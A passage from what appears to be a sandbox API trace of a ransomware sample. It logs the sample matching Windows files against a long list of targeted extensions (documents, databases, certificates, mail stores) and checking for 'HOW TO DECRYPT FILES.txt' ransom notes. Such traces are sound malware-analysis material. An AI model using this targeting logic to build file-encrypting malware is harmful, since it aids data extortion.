(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.htm") returned 0 [0121.371] lstrlenA (lpString="*.htm") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.xlsx") returned 0 [0121.371] lstrlenA (lpString="*.xlsx") returned 6 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.xls") returned 0 [0121.371] lstrlenA (lpString="*.xls") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mp4") returned 0 [0121.371] lstrlenA (lpString="*.mp4") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.ppt") returned 0 [0121.371] lstrlenA (lpString="*.ppt") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.pptx") returned 0 [0121.371] lstrlenA (lpString="*.pptx") returned 6 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.doc") returned 0 [0121.371] lstrlenA (lpString="*.doc") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.dot") returned 0 [0121.371] lstrlenA (lpString="*.dot") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.docx") returned 0 [0121.371] lstrlenA (lpString="*.docx") returned 6 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.7z") returned 0 [0121.371] lstrlenA (lpString="*.7z") returned 4 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.tar") returned 0 [0121.371] lstrlenA (lpString="*.tar") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.bz2") returned 0 [0121.371] lstrlenA (lpString="*.bz2") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.gz") returned 0 [0121.371] lstrlenA (lpString="*.gz") returned 4 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mkv") returned 0 [0121.371] lstrlenA (lpString="*.mkv") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.eml") returned 0 [0121.371] lstrlenA (lpString="*.eml") returned 5 [0121.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.msg") returned 0 [0121.371] lstrlenA (lpString="*.msg") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.edb") returned 0 [0121.372] lstrlenA (lpString="*.edb") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.accdb") returned 0 [0121.372] lstrlenA (lpString="*.accdb") returned 7 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.odb") returned 0 [0121.372] lstrlenA (lpString="*.odb") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.java") returned 0 [0121.372] lstrlenA (lpString="*.java") returned 6 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.asm") returned 0 [0121.372] lstrlenA (lpString="*.asm") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.pfx") returned 0 [0121.372] lstrlenA (lpString="*.pfx") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.pem") returned 0 [0121.372] lstrlenA (lpString="*.pem") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.p12") returned 0 [0121.372] lstrlenA (lpString="*.p12") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.gpg") returned 0 [0121.372] lstrlenA (lpString="*.gpg") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.vsd") returned 0 [0121.372] lstrlenA (lpString="*.vsd") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.odg") returned 0 [0121.372] lstrlenA (lpString="*.odg") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.raw") returned 0 [0121.372] lstrlenA (lpString="*.raw") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.nef") returned 0 [0121.372] lstrlenA (lpString="*.nef") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.svg") returned 0 [0121.372] lstrlenA (lpString="*.svg") returned 5 [0121.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.psd") returned 0 [0121.373] lstrlenA (lpString="*.psd") returned 5 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.vmx") returned 0 [0121.373] lstrlenA (lpString="*.vmx") returned 5 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.vmdk") returned 0 [0121.373] lstrlenA (lpString="*.vmdk") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.vdi") returned 0 [0121.373] lstrlenA (lpString="*.vdi") returned 5 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.lay6") returned 0 [0121.373] lstrlenA (lpString="*.lay6") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mpeg") returned 0 [0121.373] lstrlenA (lpString="*.mpeg") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.djvu") returned 0 [0121.373] lstrlenA (lpString="*.djvu") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.tiff") returned 0 [0121.373] lstrlenA (lpString="*.tiff") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.backup") returned 0 [0121.373] lstrlenA (lpString="*.backup") returned 8 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.pdf") returned 0 [0121.373] lstrlenA (lpString="*.pdf") returned 5 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.cert") returned 0 [0121.373] lstrlenA (lpString="*.cert") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.docm") returned 0 [0121.373] lstrlenA (lpString="*.docm") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.xlsm") returned 0 [0121.373] lstrlenA (lpString="*.xlsm") returned 6 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.dwg") returned 0 [0121.373] lstrlenA (lpString="*.dwg") returned 5 [0121.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.nd") returned 0 [0121.374] lstrlenA (lpString="*.nd") returned 4 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.tlg") returned 0 [0121.374] lstrlenA (lpString="*.tlg") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.lgb") returned 0 [0121.374] lstrlenA (lpString="*.lgb") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mov") returned 0 [0121.374] lstrlenA (lpString="*.mov") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.xdw") returned 0 [0121.374] lstrlenA (lpString="*.xdw") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.ods") returned 0 [0121.374] lstrlenA (lpString="*.ods") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.wav") returned 0 [0121.374] lstrlenA (lpString="*.wav") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.mp3") returned 0 [0121.374] lstrlenA (lpString="*.mp3") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.aiff") returned 0 [0121.374] lstrlenA (lpString="*.aiff") returned 6 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.flac") returned 0 [0121.374] lstrlenA (lpString="*.flac") returned 6 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.m4a") returned 0 [0121.374] lstrlenA (lpString="*.m4a") returned 5 [0121.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll", pszSpec="*.csv") returned 0 [0121.374] lstrlenA (lpString="*.csv") returned 5 [0121.374] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83076a50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x83076a50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x83076a50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xf84, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.374] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.374] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ni.dll.aux") returned -1 [0121.374] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ni.dll.aux") returned -1 [0121.374] lstrcmpiA (lpString1="", lpString2="System.Web.ni.dll.aux") returned -1 [0121.374] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll") returned="System.Web.ni.dll" [0121.374] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" [0121.375] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\") returned="" [0121.375] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt" [0121.375] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\0f5cd81189d950112651def9926ac257\\how to decrypt files.txt")) returned 0x20 [0121.375] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\", lpString2="System.Web.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux" [0121.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.375] lstrlenA (lpString="*.ems") returned 5 [0121.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.db") returned 0 [0121.375] lstrlenA (lpString="*.db") returned 4 [0121.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.dbf") returned 0 [0121.376] lstrlenA (lpString="*.dbf") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.myox") returned 0 [0121.376] lstrlenA (lpString="*.myox") returned 6 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.myo") returned 0 [0121.376] lstrlenA (lpString="*.myo") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbw") returned 0 [0121.376] lstrlenA (lpString="*.qbw") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbb") returned 0 [0121.376] lstrlenA (lpString="*.qbb") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbm") returned 0 [0121.376] lstrlenA (lpString="*.qbm") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbo") returned 0 [0121.376] lstrlenA (lpString="*.qbo") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbx") returned 0 [0121.376] lstrlenA (lpString="*.qbx") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qba") returned 0 [0121.376] lstrlenA (lpString="*.qba") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qby") returned 0 [0121.376] lstrlenA (lpString="*.qby") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qbj") returned 0 [0121.376] lstrlenA (lpString="*.qbj") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.ofx") returned 0 [0121.376] lstrlenA (lpString="*.ofx") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.qif") returned 0 [0121.376] lstrlenA (lpString="*.qif") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mye") returned 0 [0121.376] lstrlenA (lpString="*.mye") returned 5 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mbox") returned 0 [0121.376] lstrlenA (lpString="*.mbox") returned 6 [0121.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.eml") returned 0 [0121.377] lstrlenA (lpString="*.eml") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.pst") returned 0 [0121.377] lstrlenA (lpString="*.pst") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.ost") returned 0 [0121.377] lstrlenA (lpString="*.ost") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.idx") returned 0 [0121.377] lstrlenA (lpString="*.idx") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.dbx") returned 0 [0121.377] lstrlenA (lpString="*.dbx") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.sql") returned 0 [0121.377] lstrlenA (lpString="*.sql") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mdb") returned 0 [0121.377] lstrlenA (lpString="*.mdb") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.fdb") returned 0 [0121.377] lstrlenA (lpString="*.fdb") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.wab") returned 0 [0121.377] lstrlenA (lpString="*.wab") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.dat") returned 0 [0121.377] lstrlenA (lpString="*.dat") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.txt") returned 0 [0121.377] lstrlenA (lpString="*.txt") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0121.377] lstrlenA (lpString="*.jpeg") returned 6 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.jpg") returned 0 [0121.377] lstrlenA (lpString="*.jpg") returned 5 [0121.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.png") returned 0 [0121.377] lstrlenA (lpString="*.png") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.php") returned 0 [0121.378] lstrlenA (lpString="*.php") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.cs") returned 0 [0121.378] lstrlenA (lpString="*.cs") returned 4 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.cpp") returned 0 [0121.378] lstrlenA (lpString="*.cpp") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.rar") returned 0 [0121.378] lstrlenA (lpString="*.rar") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.zip") returned 0 [0121.378] lstrlenA (lpString="*.zip") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.html") returned 0 [0121.378] lstrlenA (lpString="*.html") returned 6 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.htm") returned 0 [0121.378] lstrlenA (lpString="*.htm") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0121.378] lstrlenA (lpString="*.xlsx") returned 6 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.xls") returned 0 [0121.378] lstrlenA (lpString="*.xls") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.mp4") returned 0 [0121.378] lstrlenA (lpString="*.mp4") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.ppt") returned 0 [0121.378] lstrlenA (lpString="*.ppt") returned 5 [0121.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\System.Web.ni.dll.aux", pszSpec="*.pptx") returned 0 [0121.378] lstrlenA (lpString="*.pptx") returned 6 [0121.378] PathMatchSpecA 